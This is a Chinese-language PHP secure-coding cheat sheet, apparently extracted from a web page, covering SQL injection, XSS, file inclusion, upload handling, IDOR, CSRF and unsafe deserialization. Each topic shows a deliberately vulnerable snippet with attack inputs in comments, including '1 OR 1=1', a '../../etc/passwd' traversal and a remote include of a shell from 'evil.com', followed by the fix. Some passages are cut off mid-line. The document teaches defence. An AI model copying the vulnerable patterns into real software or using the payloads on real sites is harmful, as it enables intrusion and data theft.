核心原則:輸入驗證(白名單) + 輸出編碼(上下文感知) + 最小權限 + 深度防禦。
// 直接拼接用戶輸入
$id = $_GET['id'];
$sql = "SELECT * FROM users WHERE id = {$id}"; // 攻擊輸入: 1 OR 1=1
$res = mysql_query($sql);
addslashes、mysql_real_escape_string(已棄用)。$stmt = $pdo->prepare('SELECT * FROM users WHERE id = ?');
$stmt->execute([$_GET['id']]); // 安全
<div>歡迎, <?= $_GET['name'] ?></div> // 攻擊輸入:
htmlspecialchars($str, ENT_QUOTES, 'UTF-8')。Content-Security-Policy 頭部限制腳本來源。$page = $_GET['page'] ?? 'home';
include "{$page}.php"; // 攻擊: ../../etc/passwd、https://evil.com/shell.txt
in_array($page, ['home','about','contact'], true)。allow_url_include (PHP 7.4+ 已移除)。php_flag engine off / SetHandler default-handler。readfile/X-Sendfile)。| 漏洞類型 | 典型場景 | 防範措施 |
|---|---|---|
| 越權訪問 (IDOR) | /order/123 直接修改 ID 訪問他人訂單 | 每次查詢校驗資源屬於當前用戶(WHERE user_id = ?) |
| 重放攻擊 | 表單重複提交、API 重放 | Token 單次驗證、冪等 Key、簽名機制 |
| 暴力破解 | 登錄、短信、找回密碼無限制 | 限流(IP/用戶/設備)、驗證碼、賬號鎖定 |
| 信息洩露 | 錯誤頁面顯示堆疊、.git/.env 文件可訪問 | 關閉 display_errors、Web 服務器屏蔽隱藏文件 |
| CSRF | 關鍵操作無 Token 驗證 | SameSite Cookie + 雙重提交 Token / 標頭驗證 |
// 直接反序列化用戶輸入 $data = unserialize($_COOKIE['data']); // 攻擊構造 __destruct 鏈導致 RCE
unserialize 處理不可信數據。JSON、igbinary 等安全格式。allowed_classes 白名單:unserialize($data, ['allowed_classes' => ['MyDTO']])。